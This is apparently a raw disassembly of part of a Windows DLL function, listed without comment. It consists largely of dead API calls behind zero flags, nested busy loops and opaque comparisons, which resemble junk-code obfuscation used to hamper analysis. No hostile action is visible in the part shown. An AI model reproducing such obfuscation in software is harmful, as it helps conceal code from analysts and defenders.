je 0x1003bf4d
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleW]
mov dword [ebp - 0x360], 3
jmp 0x1003bf66
mov eax, dword [ebp - 0x360]
inc eax
mov dword [ebp - 0x360], eax
cmp dword [ebp - 0x360], 6
jne 0x1003c02b
mov dword [ebp - 0x1598], 1
mov dword [ebp - 0x1594], 1
mov dword [ebp - 0x1590], 1
mov dword [ebp - 0x158c], 1
lea ecx, [ebp - 0x6b1]
call fcn.10020c9f
push eax
lea eax, [ebp - 0x1588]
push eax
lea eax, [ebp - 0x1598]
push eax
lea ecx, [ebp - 0x1a40]
call fcn.10020ca2
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x1528]
call fcn.10020c4e
mov dword [ebp - 4], 0x1f
push 1
lea ecx, [ebp - 0x1528]
call fcn.10020c90
cmp dword [eax], 0
je 0x1003bffa
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1528]
call fcn.10020c74
jmp 0x1003c02b
cmp dword [ebp - 0x1188], 0
je 0x1003c017
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1528]
call fcn.10020c74
jmp 0x1003bf59
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1528]
call fcn.10020c74
jmp 0x1003bf59
mov eax, dword [0x10086c14]
and eax, 1
jne 0x1003c062
mov eax, dword [0x10086c14]
or eax, 1
mov dword [0x10086c14], eax
mov dword [ebp - 4], 0x20
mov ecx, 0x1008b09c
call fcn.10020e47
push 0x10081109
call fcn.1006ab89
pop ecx
or dword [ebp - 4], 0xffffffff
mov dword [ebp - 0x88], 0x469ad59e
mov dword [ebp - 0x1724], 0xa3888451
mov dword [ebp - 0x172c], 0xba22e974
mov dword [ebp - 0x368], 0
jmp 0x1003c099
mov eax, dword [ebp - 0x368]
inc eax
mov dword [ebp - 0x368], eax
cmp dword [ebp - 0x368], 1
jge 0x1003c0b5
mov eax, dword [ebp - 0x368]
mov dword [ebp + eax*4 - 0x1360], 0
jmp 0x1003c08c
mov dword [ebp - 0x88], 0
jmp 0x1003c0ce
mov eax, dword [ebp - 0x88]
inc eax
mov dword [ebp - 0x88], eax
cmp dword [ebp - 0x88], 0
jg 0x1003c0f0
mov dword [ebp - 0x8bc], 0xf0a2
mov eax, dword [ebp - 0x8bc]
inc eax
mov dword [ebp - 0x8bc], eax
jmp 0x1003c0c1
mov dword [ebp - 0x88], 0
jmp 0x1003c109
mov eax, dword [ebp - 0x88]
inc eax
mov dword [ebp - 0x88], eax
cmp dword [ebp - 0x88], 0
jg 0x1003c179
mov dword [ebp - 0x1734], 7
mov dword [ebp - 0x1194], 0x2b90f998
mov byte [ebp - 0x155], 0
movzx eax, byte [ebp - 0x155]
test eax, eax
je 0x1003c140
push 0
call dword [sym.imp.GDI32.dll_CreateBrushIndirect]
mov eax, dword [ebp - 0x88]
xor ecx, ecx
inc ecx
sub ecx, dword [ebp - 0x88]
cmp dword [ebp + eax*4 - 0x1360], ecx
je 0x1003c164
mov dword [ebp - 0x8c4], 1
jmp 0x1003c16b
and dword [ebp - 0x8c4], 0
mov eax, dword [ebp - 0x8c4]
mov dword [ebp - 0x1194], eax
jmp 0x1003c0fc
movzx eax, byte [0x1008b004]
test eax, eax
je 0x1003c788
mov ecx, 0x1008b09c
call fcn.10042660
movzx eax, al
test eax, eax
jne 0x1003c788
push 4
lea ecx, [ebp - 0x6e8]
call fcn.10020bf2
mov dword [ebp - 4], 0x21
mov dword [ebp - 0x91c], 0xfffffff6
mov dword [ebp - 0xb8], 0
jmp 0x1003c1d4
mov eax, dword [ebp - 0xb8]
inc eax
mov dword [ebp - 0xb8], eax
cmp dword [ebp - 0xb8], 4
jge 0x1003c1f3
push dword [ebp - 0xb8]
lea ecx, [ebp - 0x6e8]
call fcn.10020c90
and dword [eax], 0
jmp 0x1003c1c7
mov dword [ebp - 0xb8], 0
jmp 0x1003c20c
mov eax, dword [ebp - 0xb8]
inc eax
mov dword [ebp - 0xb8], eax
cmp dword [ebp - 0xb8], 3
jge 0x1003c228
mov eax, dword [ebp - 0xb8]
mov dword [ebp + eax*4 - 0xef0], 1
jmp 0x1003c1ff
push 4
pop eax
shl eax, 1
mov dword [ebp + eax - 0xef0], 0
jmp 0x1003c253
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xef0]
inc eax
push 4
pop ecx
shl ecx, 1
mov dword [ebp + ecx - 0xef0], eax
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0xef0], 3
jg 0x1003c63f
mov dword [ebp - 0x4c], 8
mov dword [ebp - 0x388], 0xccbb24ad
mov dword [ebp - 0x8f4], 0
mov dword [ebp - 0x1ac], 0
mov byte [ebp - 0x191], 0
movzx eax, byte [ebp - 0x191]
test eax, eax
je 0x1003c2a7
push 0
push 0
call dword [sym.imp.USER32.dll_ScreenToClient]
mov dword [ebp - 0x4c], 3
jmp 0x1003c2b7
mov eax, dword [ebp - 0x4c]
dec eax
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], 0
jl 0x1003c63a
mov dword [ebp - 0x1470], 0x8faa83f
push 2
lea ecx, [ebp - 0x1654]
call fcn.10020bf2
mov byte [ebp - 4], 0x22
mov dword [ebp - 0x370], 0
jmp 0x1003c2f5
mov eax, dword [ebp - 0x370]
inc eax
mov dword [ebp - 0x370], eax
cmp dword [ebp - 0x370], 2
jge 0x1003c317
push dword [ebp - 0x370]
lea ecx, [ebp - 0x1654]
call fcn.10020c90
mov dword [eax], 0x70a1ee31
jmp 0x1003c2e8
push dword [ebp - 0x4c]
lea ecx, [ebp - 0x6e8]
call fcn.10020c90
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xef0]
mov dword [ebp - 0x173c], eax
push 4
pop eax
shl eax, 1
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0xef0]
cmp dword [ebp + eax - 0xef0], ecx
jl 0x1003c35e
mov dword [ebp - 0x8cc], 1
jmp 0x1003c365
and dword [ebp - 0x8cc], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xef0]
imul eax, dword [ebp - 0x8cc]
cmp eax, 0x28ace4b0
jl 0x1003c38c
mov dword [ebp - 0x8d4], 1
jmp 0x1003c393
and dword [ebp - 0x8d4], 0
mov eax, dword [ebp - 0x8d4]
mov dword [ebp - 0x388], eax
mov eax, dword [ebp - 0x4c]
cmp dword [ebp - 0x8f4], eax
jl 0x1003c3b6
mov dword [ebp - 0x8dc], 1
jmp 0x1003c3bd
and dword [ebp - 0x8dc], 0
mov eax, dword [ebp - 0x8dc]
mov dword [ebp - 0x91c], eax
push 2
lea ecx, [ebp - 0x6e8]
call fcn.10020c90
cmp dword [eax], 0
je 0x1003c3ed
cmp dword [ebp - 0x4c], 0
je 0x1003c3ed
mov dword [ebp - 0x8e4], 1
jmp 0x1003c3f4
and dword [ebp - 0x8e4], 0
push dword [ebp - 0x4c]
lea ecx, [ebp - 0x6e8]
call fcn.10020c90
mov eax, dword [eax]
cmp eax, dword [ebp - 0x8e4]
jle 0x1003c418
mov dword [ebp - 0x8ec], 1
jmp 0x1003c41f
and dword [ebp - 0x8ec], 0
mov eax, dword [ebp - 0x4c]
add eax, dword [ebp - 0x8ec]
mov dword [ebp - 0x1ac], eax
mov eax, dword [ebp - 0x1ac]
mov dword [ebp - 0x1744], eax
push 1
lea ecx, [ebp - 0x6e8]
call fcn.10020c90
push dword [ebp - 0x4c]
lea ecx, [ebp - 0x6e8]
call fcn.10020c90
mov esi, dword [ebp - 0x388]
push dword [ebp - 0x4c]
lea ecx, [ebp - 0x6e8]
call fcn.10020c90
imul esi, dword [eax]
cmp esi, dword [ebp - 0x8f4]
jle 0x1003c480
mov dword [ebp - 0x8fc], 1
jmp 0x1003c487
and dword [ebp - 0x8fc], 0
push dword [ebp - 0x4c]
lea ecx, [ebp - 0x6e8]
call fcn.10020c90
mov eax, dword [eax]
add eax, dword [ebp - 0x8fc]
je 0x1003c4b4
cmp dword [ebp - 0x1470], 0
je 0x1003c4b4
mov dword [ebp - 0x904], 1
jmp 0x1003c4bb
and dword [ebp - 0x904], 0
push 1
lea ecx, [ebp - 0x1654]
call fcn.10020c90
mov ecx, dword [ebp - 0x904]
mov dword [eax], ecx
mov eax, dword [ebp - 0x4c]
cmp dword [ebp - 0x388], eax
jge 0x1003c4e7
mov dword [ebp - 0x90c], 1
jmp 0x1003c4ee
and dword [ebp - 0x90c], 0
mov eax, dword [ebp - 0x4c]
sub eax, dword [ebp - 0x90c]
je 0x1003c602
mov dword [ebp - 0x914], 0x6c0
mov dword [ebp - 0x11a0], 0x1000aa5c
cmp dword [ebp - 0x914], 0x97f
jle 0x1003c594
and dword [ebp - 0x378], 0
jmp 0x1003c533
mov eax, dword [ebp - 0x378]
inc eax
mov dword [ebp - 0x378], eax
cmp dword [ebp - 0x378], 0x6b45
jge 0x1003c594
and dword [ebp - 0x380], 0
jmp 0x1003c555
mov eax, dword [ebp - 0x380]
inc eax
mov dword [ebp - 0x380], eax
cmp dword [ebp - 0x380], 0x2687
jge 0x1003c592
mov eax, dword [ebp - 0x378]
or eax, dword [ebp - 0x380]
cdq
mov dword [ebp - 0x11e4], eax
mov dword [ebp - 0x11e0], edx
push dword [ebp - 0x11e0]
push dword [ebp - 0x11e4]
mov ecx, 0x10085b58
call fcn.100208d8
jmp 0x1003c548
jmp 0x1003c526
mov dword [ebp - 0x1ac], 0
jmp 0x1003c5ad
mov eax, dword [ebp - 0x1ac]
inc eax
mov dword [ebp - 0x1ac], eax
cmp dword [ebp - 0x1ac], 3
jg 0x1003c5d8
mov byte [ebp - 0x15d], 0
movzx eax, byte [ebp - 0x15d]
test eax, eax
je 0x1003c5d6
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_CombineRgn]
jmp 0x1003c5a0
cmp dword [ebp - 0x914], 0x68c
jge 0x1003c5f4
mov edx, dword [ebp - 0x11a0]
mov ecx, 0x10085b58
call fcn.10023628
mov eax, dword [ebp - 0x388]
mov dword [ebp - 0x91c], eax
jmp 0x1003c626
mov byte [ebp - 0x193], 0
movzx eax, byte [ebp - 0x193]
test eax, eax
je 0x1003c626
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_CreateDIBSection]
mov byte [ebp - 4], 0x21
lea ecx, [ebp - 0x1654]
call fcn.10020c74
jmp 0x1003c2b0
jmp 0x1003c23a
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x6e8]
call fcn.10020c74
lea eax, [ebp - 0x450]
push eax
lea eax, [ebp - 0x92c]
push eax
mov ecx, 0x1008b09c
call fcn.10020f0c
mov dword [ebp - 0x924], 0
mov dword [ebp - 0x390], 0
jmp 0x1003c689
mov eax, dword [ebp - 0x390]
inc eax
mov dword [ebp - 0x390], eax
cmp dword [ebp - 0x390], 2
jge 0x1003c6a5
mov eax, dword [ebp - 0x390]
mov dword [ebp + eax*4 - 0x1804], 0xdc4b4e12
jmp 0x1003c67c
mov dword [ebp - 0x924], 0xca631852
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x924]
mov dword [ebp + eax - 0x1804], ecx
mov byte [ebp - 0x165], 0
movzx eax, byte [ebp - 0x165]
test eax, eax
je 0x1003c6de
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea eax, [ebp - 0x174c]
push eax
mov ecx, 0x1008b09c
call fcn.10020efe
push eax
lea ecx, [ebp - 0x92c]
call fcn.10020f21
movzx eax, al
test eax, eax
je 0x1003c788
mov dword [ebp - 0x398], 0
mov dword [ebp - 0x398], 0
jmp 0x1003c729
mov eax, dword [ebp - 0x398]
inc eax
mov dword [ebp - 0x398], eax
cmp dword [ebp - 0x398], 0xa
jge 0x1003c774
mov dword [ebp - 0x1368], 0x58d3
mov dword [ebp - 0x11ac], 0
mov byte [ebp - 0x109], 0
movzx eax, byte [ebp - 0x109]
test eax, eax
je 0x1003c766
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_AppendMenuW]
mov eax, dword [ebp - 0x1368]
mov dword [ebp - 0x11ac], eax
jmp 0x1003c71c
lea ecx, [ebp - 0x92c]
call fcn.10042669
mov eax, dword [eax + 4]
mov dword [ebp - 0x1c8], eax
mov dword [ebp - 0x15ac], 0xfffffff9
mov dword [ebp - 0x15a8], 0xfffffff9
mov dword [ebp - 0x15a4], 0xfffffff9
mov dword [ebp - 0x15a0], 0xfffffff9
lea ecx, [ebp - 0x679]
call fcn.10020c9f
push eax
lea eax, [ebp - 0x159c]
push eax
lea eax, [ebp - 0x15ac]
push eax
lea ecx, [ebp - 0x1a68]
call fcn.10020ca2
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0xf1c]
call fcn.10020c4e
mov dword [ebp - 4], 0x23
mov dword [ebp - 0x14c], 0x90c4d8e5
mov dword [ebp - 0x97c], 0xfffffffc
mov dword [ebp - 0x98c], 0xd832
mov dword [ebp - 0x934], 0x7790
mov dword [ebp - 0x11b8], 0x1000aa78
cmp dword [ebp - 0x934], 0x7b73
jle 0x1003c8d8
and dword [ebp - 0x3a0], 0
jmp 0x1003c844
mov eax, dword [ebp - 0x3a0]
inc eax
mov dword [ebp - 0x3a0], eax
cmp dword [ebp - 0x3a0], 0x31bd
jge 0x1003c8ce
and dword [ebp - 0x3a8], 0
jmp 0x1003c866
mov eax, dword [ebp - 0x3a8]
inc eax
mov dword [ebp - 0x3a8], eax
cmp dword [ebp - 0x3a8], 0x18e1
jge 0x1003c8c9
mov eax, dword [ebp - 0x3a0]
or eax, dword [ebp - 0x3a8]
cdq
mov dword [ebp - 0x11f0], eax
mov dword [ebp - 0x11ec], edx
push dword [ebp - 0x11ec]
push dword [ebp - 0x11f0]
lea ecx, [ebp - 0x1bc8]
call fcn.1001098e
pop ecx
pop ecx
mov dword [ebp - 0x1440], eax
mov ecx, dword [ebp - 0x1440]
call fcn.100208b8
push eax
call fcn.1006abb3
pop ecx
lea ecx, [ebp - 0x1bc8]
call fcn.100208ae
jmp 0x1003c859
jmp 0x1003c837
push 0
push 0
call dword [sym.imp.USER32.dll_SetWindowPlacement]
mov dword [ebp - 0x1478], 1
cmp dword [ebp - 0x934], 0x74ad
jge 0x1003c8fa
push dword [ebp - 0x11b8]
call fcn.1006abb3
pop ecx
mov dword [ebp - 0x11d0], 0x87187d7a
mov dword [ebp - 0x14c], 3
jmp 0x1003c91d
mov eax, dword [ebp - 0x14c]
dec eax
mov dword [ebp - 0x14c], eax
cmp dword [ebp - 0x14c], 0
jl 0x1003cc01
mov dword [ebp - 0x64], 6
mov dword [ebp - 0x11c4], 0xffffffff
mov byte [ebp - 0x184], 0
movzx eax, byte [ebp - 0x184]
test eax, eax
je 0x1003c953
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov dword [ebp - 0x64], 0
jmp 0x1003c963
mov eax, dword [ebp - 0x64]
inc eax
mov dword [ebp - 0x64], eax
cmp dword [ebp - 0x64], 3
jg 0x1003cbfc
mov byte [ebp - 0x192], 0
movzx eax, byte [ebp - 0x192]
test eax, eax
je 0x1003c987
push 0
call dword [sym.imp.USER32.dll_DestroyCursor]
push dword [ebp - 0x64]
lea ecx, [ebp - 0xf1c]
call fcn.10020c90
cmp dword [eax], 0
jne 0x1003cb70
cmp dword [ebp - 0x64], 0xed857289
jb 0x1003c9b3
mov dword [ebp - 0x93c], 1
jmp 0x1003c9ba
and dword [ebp - 0x93c], 0
cmp dword [ebp - 0x93c], 0xd66e5dc6
jbe 0x1003c9d2
mov dword [ebp - 0x944], 1
jmp 0x1003c9d9
and dword [ebp - 0x944], 0
imul eax, dword [ebp - 0x944], 0xb903
test eax, eax
jne 0x1003c9f9
cmp dword [ebp - 0x14c], 0
jne 0x1003c9f9
and dword [ebp - 0x94c], 0
jmp 0x1003ca03
mov dword [ebp - 0x94c], 1
mov eax, dword [ebp - 0x64]
imul eax, dword [ebp - 0x94c]
cmp eax, 0x7733
jne 0x1003ca20
mov dword [ebp - 0x1370], 1
jmp 0x1003ca27
and dword [ebp - 0x1370], 0
push dword [ebp - 0x64]
lea ecx, [ebp - 0xf1c]
call fcn.10020c90
cmp dword [ebp - 0x64], 0
jne 0x1003ca57
push dword [ebp - 0x64]
lea ecx, [ebp - 0xf1c]
call fcn.10020c90
cmp dword [eax], 0
jne 0x1003ca57
and dword [ebp - 0x954], 0
jmp 0x1003ca61
mov dword [ebp - 0x954], 1
cmp dword [ebp - 0x954], 0
jae 0x1003ca76
mov dword [ebp - 0x95c], 1
jmp 0x1003ca7d
and dword [ebp - 0x95c], 0
mov eax, dword [ebp - 0x14c]
cmp dword [ebp - 0x95c], eax
jg 0x1003ca97
mov dword [ebp - 0x964], 1
jmp 0x1003ca9e
and dword [ebp - 0x964], 0
push 0
lea ecx, [ebp - 0xf1c]
call fcn.10020c90
mov ecx, dword [ebp - 0x964]
imul ecx, dword [eax]
test ecx, ecx
je 0x1003cad7
push dword [ebp - 0x64]
lea ecx, [ebp - 0xf1c]
call fcn.10020c90
cmp dword [eax], 0
je 0x1003cad7
mov dword [ebp - 0x96c], 1
jmp 0x1003cade
and dword [ebp - 0x96c], 0
mov eax, dword [ebp - 0x96c]
neg eax
je 0x1003cafd
mov eax, 0xb085
test eax, eax
je 0x1003cafd
mov dword [ebp - 0x974], 1
jmp 0x1003cb04
and dword [ebp - 0x974], 0
mov eax, dword [ebp - 0x974]
mov dword [ebp - 0x97c], eax
mov eax, dword [ebp - 0x11c4]
cmp dword [ebp - 0x97c], eax
je 0x1003cb2a
mov dword [ebp - 0x984], 1
jmp 0x1003cb31
and dword [ebp - 0x984], 0
mov eax, dword [ebp - 0x984]
mov dword [ebp - 0x98c], eax
cmp dword [ebp - 0x98c], 1
jb 0x1003cb52
mov dword [ebp - 0x994], 1
jmp 0x1003cb59
and dword [ebp - 0x994], 0
mov eax, dword [ebp - 0x14c]
cmp dword [ebp - 0x994], eax
jge 0x1003cb70
and dword [ebp - 0x99c], 0
jmp 0x1003cb7a
mov dword [ebp - 0x99c], 1
push 0
lea ecx, [ebp - 0xf1c]
call fcn.10020c90
mov ecx, dword [ebp - 0x99c]
cmp ecx, dword [eax]
jl 0x1003cb9d
mov dword [ebp - 0x9a4], 1
jmp 0x1003cba4
and dword [ebp - 0x9a4], 0
imul eax, dword [ebp - 0x9a4], 0x2a6d
test eax, eax
je 0x1003cbc3
xor eax, eax
inc eax
je 0x1003cbc3
mov dword [ebp - 0x9ac], 1
jmp 0x1003cbca
and dword [ebp - 0x9ac], 0
mov eax, dword [ebp - 0x1478]
cmp dword [ebp - 0x9ac], eax
jl 0x1003cbe4
mov dword [ebp - 0x9b4], 1
jmp 0x1003cbeb
and dword [ebp - 0x9b4], 0
mov eax, dword [ebp - 0x9b4]
mov dword [ebp - 0x11d0], eax
jmp 0x1003c95c
jmp 0x1003c910
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xf1c]
call fcn.10020c74
cmp dword [ebp - 0x1c8], 0xffffffff
jne 0x1003e3f9
push 1
lea ecx, [ebp - 0x6f4]
call fcn.10020bf2
mov dword [ebp - 4], 0x24
mov dword [ebp - 0x11e8], 0xd2f38d9
mov dword [ebp - 0x1380], 0x92280643
mov dword [ebp - 0x208], 0x1c2a9118
mov dword [ebp - 0xa0], 0
jmp 0x1003cc68
mov eax, dword [ebp - 0xa0]
inc eax
mov dword [ebp - 0xa0], eax
cmp dword [ebp - 0xa0], 3
jge 0x1003cc84
mov eax, dword [ebp - 0xa0]
mov dword [ebp + eax*4 - 0x142c], 0x20624039
jmp 0x1003cc5b
mov dword [ebp - 0xa0], 0
jmp 0x1003cc9d
mov eax, dword [ebp - 0xa0]
inc eax
mov dword [ebp - 0xa0], eax
cmp dword [ebp - 0xa0], 1
jge 0x1003ccbf
push dword [ebp - 0xa0]
lea ecx, [ebp - 0x6f4]
call fcn.10020c90
mov dword [eax], 0xb743d837
jmp 0x1003cc90
push 0
lea ecx, [ebp - 0x6f4]
call fcn.10020c90
mov dword [eax], 2
jmp 0x1003ccf8
push 0
lea ecx, [ebp - 0x6f4]
call fcn.10020c90
mov dword [ebp - 0x9bc], eax
mov eax, dword [ebp - 0x9bc]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0x9bc]
mov dword [ecx], eax
push 0
lea ecx, [ebp - 0x6f4]
call fcn.10020c90
cmp dword [eax], 0
jl 0x1003d237
mov dword [ebp - 0x9c4], 0x73a8
mov dword [ebp - 0x1378], 0x1000aac8
cmp dword [ebp - 0x9c4], 0x774a
jle 0x1003cda5
and dword [ebp - 0x3b0], 0
jmp 0x1003cd44
mov eax, dword [ebp - 0x3b0]
inc eax
mov dword [ebp - 0x3b0], eax
cmp dword [ebp - 0x3b0], 0x1b88
jge 0x1003cda5
and dword [ebp - 0x3b8], 0
jmp 0x1003cd66
mov eax, dword [ebp - 0x3b8]
inc eax
mov dword [ebp - 0x3b8], eax
cmp dword [ebp - 0x3b8], 0x6efb
jge 0x1003cda3
mov eax, dword [ebp - 0x3b0]
sub eax, dword [ebp - 0x3b8]
cdq
mov dword [ebp - 0x11fc], eax
mov dword [ebp - 0x11f8], edx
push dword [ebp - 0x11f8]
push dword [ebp - 0x11fc]
mov ecx, 0x10085b58
call fcn.100208d8
jmp 0x1003cd59
jmp 0x1003cd37
push 1
lea ecx, [ebp - 0xf34]
call fcn.10020bf2
mov byte [ebp - 4], 0x25
cmp dword [ebp - 0x9c4], 0x71a2
jge 0x1003cdd2
mov edx, dword [ebp - 0x1378]
mov ecx, 0x10085b58
call fcn.10023628
mov dword [ebp - 0x1754], 1
mov dword [ebp - 0x15d4], 0x78c9
mov dword [ebp - 0x15d0], 0x78c9
mov dword [ebp - 0x15cc], 0x78c9
mov dword [ebp - 0x15c8], 0x78c9
lea ecx, [ebp - 0x6a9]
call fcn.10020c9f
push eax
lea eax, [ebp - 0x15c4]
push eax
lea eax, [ebp - 0x15d4]
push eax
lea ecx, [ebp - 0x1a10]
call fcn.10020ca2
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x1684]
call fcn.10020c4e
mov byte [ebp - 4], 0x26
mov dword [ebp - 0x3c0], 0
jmp 0x1003ce56
mov eax, dword [ebp - 0x3c0]
inc eax
mov dword [ebp - 0x3c0], eax
cmp dword [ebp - 0x3c0], 1
jge 0x1003ce78
push dword [ebp - 0x3c0]
lea ecx, [ebp - 0xf34]
call fcn.10020c90
mov dword [eax], 0xe1ca2961
jmp 0x1003ce49
push 0
lea ecx, [ebp - 0xf34]
call fcn.10020c90
and dword [eax], 0
jmp 0x1003ceae
push 0
lea ecx, [ebp - 0xf34]
call fcn.10020c90
mov dword [ebp - 0x9cc], eax
mov eax, dword [ebp - 0x9cc]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0x9cc]
mov dword [ecx], eax
push 0
lea ecx, [ebp - 0xf34]
call fcn.10020c90
cmp dword [eax], 2
jg 0x1003d0ab
mov dword [ebp - 0x214], 0
mov dword [ebp - 0x1450], 0xf95751cf
mov dword [ebp - 0x175c], 0xfffffff8
mov dword [ebp - 0x1764], 0x93c1de6f
mov dword [ebp - 0x176c], 0xebd004dd
mov dword [ebp - 0x214], 2
jmp 0x1003cf0f
mov eax, dword [ebp - 0x214]
dec eax
mov dword [ebp - 0x214], eax
cmp dword [ebp - 0x214], 0
jl 0x1003d0a6
mov dword [ebp - 0x1774], 0xfffffffb
mov dword [ebp - 0x177c], 0
mov dword [ebp - 0x9d4], 0x6680
mov dword [ebp - 0x11dc], 0x1000ab20
cmp dword [ebp - 0x9d4], 0x6948
jle 0x1003d030
and dword [ebp - 0x3c8], 0
jmp 0x1003cf6a
mov eax, dword [ebp - 0x3c8]
inc eax
mov dword [ebp - 0x3c8], eax
cmp dword [ebp - 0x3c8], 0x375d
jge 0x1003d030
and dword [ebp - 0x3d0], 0
jmp 0x1003cf90
mov eax, dword [ebp - 0x3d0]
inc eax
mov dword [ebp - 0x3d0], eax
cmp dword [ebp - 0x3d0], 0x621c
jge 0x1003d02b
and dword [ebp - 0x3d8], 0
jmp 0x1003cfb6
mov eax, dword [ebp - 0x3d8]
inc eax
mov dword [ebp - 0x3d8], eax
cmp dword [ebp - 0x3d8], 0x2257
jge 0x1003d026
and dword [ebp - 0x3e0], 0
jmp 0x1003cfd8
mov eax, dword [ebp - 0x3e0]
inc eax
mov dword [ebp - 0x3e0], eax
cmp dword [ebp - 0x3e0], 0x1a6c
jge 0x1003d024
mov eax, dword [ebp - 0x3c8]
and eax, dword [ebp - 0x3d0]
mov ecx, dword [ebp - 0x3d8]
imul ecx, dword [ebp - 0x3e0]
and eax, ecx
cdq
mov dword [ebp - 0x1208], eax
mov dword [ebp - 0x1204], edx
push dword [ebp - 0x1204]
push dword [ebp - 0x1208]
mov ecx, 0x10085b58
call fcn.100208d8
jmp 0x1003cfcb
jmp 0x1003cfa9
jmp 0x1003cf83
jmp 0x1003cf5d
mov dword [ebp - 0x1784], 1
cmp dword [ebp - 0x9d4], 0x6559
jge 0x1003d056
mov edx, dword [ebp - 0x11dc]
mov ecx, 0x10085b58
call fcn.10023628
mov dword [ebp - 0x178c], 0
mov dword [ebp - 0x1794], 0x176df7e
mov eax, dword [ebp - 0x214]
mov eax, dword [ebp + eax*4 - 0x142c]
mov dword [ebp - 0x1450], eax
push 1
lea ecx, [ebp - 0x1684]
call fcn.10020c90
mov dword [ebp - 0x9dc], eax
mov eax, dword [ebp - 0x9dc]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0x9dc]
mov dword [ecx], eax
jmp 0x1003cf02
jmp 0x1003ce8a
push 0
lea ecx, [ebp - 0x6f4]
call fcn.10020c90
cmp dword [eax], 0x69cd17cd
jge 0x1003d0db
push 0
lea ecx, [ebp - 0xf34]
call fcn.10020c90
cmp dword [eax], 0
jne 0x1003d0db
and dword [ebp - 0x9e4], 0
jmp 0x1003d0e5
mov dword [ebp - 0x9e4], 1
push 0
lea ecx, [ebp - 0xf34]
call fcn.10020c90
mov ecx, dword [ebp - 0x9e4]
cmp ecx, dword [eax]
jl 0x1003d108
mov dword [ebp - 0x9ec], 1
jmp 0x1003d10f
and dword [ebp - 0x9ec], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x142c]
cmp dword [ebp - 0x9ec], eax
jle 0x1003d130
mov dword [ebp - 0x9f4], 1
jmp 0x1003d137
and dword [ebp - 0x9f4], 0
push 0
lea ecx, [ebp - 0x1684]
call fcn.10020c90
mov eax, dword [eax]
cmp eax, dword [ebp - 0x9f4]
jl 0x1003d15a
mov dword [ebp - 0x9fc], 1
jmp 0x1003d161
and dword [ebp - 0x9fc], 0
mov eax, dword [ebp - 0x11e8]
cmp dword [ebp - 0x9fc], eax
jne 0x1003d17b
mov dword [ebp - 0xa04], 1
jmp 0x1003d182
and dword [ebp - 0xa04], 0
push 0
lea ecx, [ebp - 0x6f4]
call fcn.10020c90
mov eax, dword [eax]
mov eax, dword [ebp + eax*4 - 0x142c]
cmp eax, dword [ebp - 0xa04]
jg 0x1003d1ac
mov dword [ebp - 0xa0c], 1
jmp 0x1003d1b3
and dword [ebp - 0xa0c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x142c]
cmp dword [ebp - 0xa0c], eax
jg 0x1003d1d4
mov dword [ebp - 0xa14], 1
jmp 0x1003d1db
and dword [ebp - 0xa14], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x142c]
cmp dword [ebp - 0xa14], eax
jg 0x1003d1fb
mov dword [ebp - 0xa1c], 1
jmp 0x1003d202
and dword [ebp - 0xa1c], 0
mov eax, dword [ebp - 0x208]
add eax, dword [ebp - 0xa1c]
mov dword [ebp - 0x1380], eax
mov byte [ebp - 4], 0x25
lea ecx, [ebp - 0x1684]
call fcn.10020c74
mov byte [ebp - 4], 0x24
lea ecx, [ebp - 0xf34]
call fcn.10020c74
jmp 0x1003ccd4
mov dword [ebp - 0x208], 0xc
jmp 0x1003d250
mov eax, dword [ebp - 0x208]
dec eax
mov dword [ebp - 0x208], eax
cmp dword [ebp - 0x208], 0xffffffff
jle 0x1003d381
mov dword [ebp - 0xa24], 0xd05b
mov dword [ebp - 0x678], 0x1ab7a3eb
mov dword [ebp - 0x3e8], 0
jmp 0x1003d28a
mov eax, dword [ebp - 0x3e8]
inc eax
mov dword [ebp - 0x3e8], eax
cmp dword [ebp - 0x3e8], 2
jge 0x1003d2a6
mov eax, dword [ebp - 0x3e8]
mov dword [ebp + eax*4 - 0xf3c], 0x660f181e
jmp 0x1003d27d
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xf3c]
mov dword [ebp - 0x179c], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xf3c]
mov dword [ebp - 0x17a4], eax
push 4
pop eax
shl eax, 0
mov esi, dword [ebp + eax - 0xf3c]
push 0
lea ecx, [ebp - 0x6f4]
call fcn.10020c90
sub esi, dword [eax]
cmp esi, 1
jae 0x1003d2f9
mov dword [ebp - 0x11f4], 1
jmp 0x1003d300
and dword [ebp - 0x11f4], 0
cmp dword [ebp - 0xa24], 2
jle 0x1003d310
cmp dword [ebp - 0xa24], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x678]
cmp dword [ebp + eax - 0xf3c], ecx
jl 0x1003d331
mov dword [ebp - 0xa2c], 1
jmp 0x1003d338
and dword [ebp - 0xa2c], 0
mov eax, dword [ebp - 0xa2c]
add eax, 0x5506
cmp eax, 5
jae 0x1003d354
mov dword [ebp - 0xa34], 1
jmp 0x1003d35b
and dword [ebp - 0xa34], 0
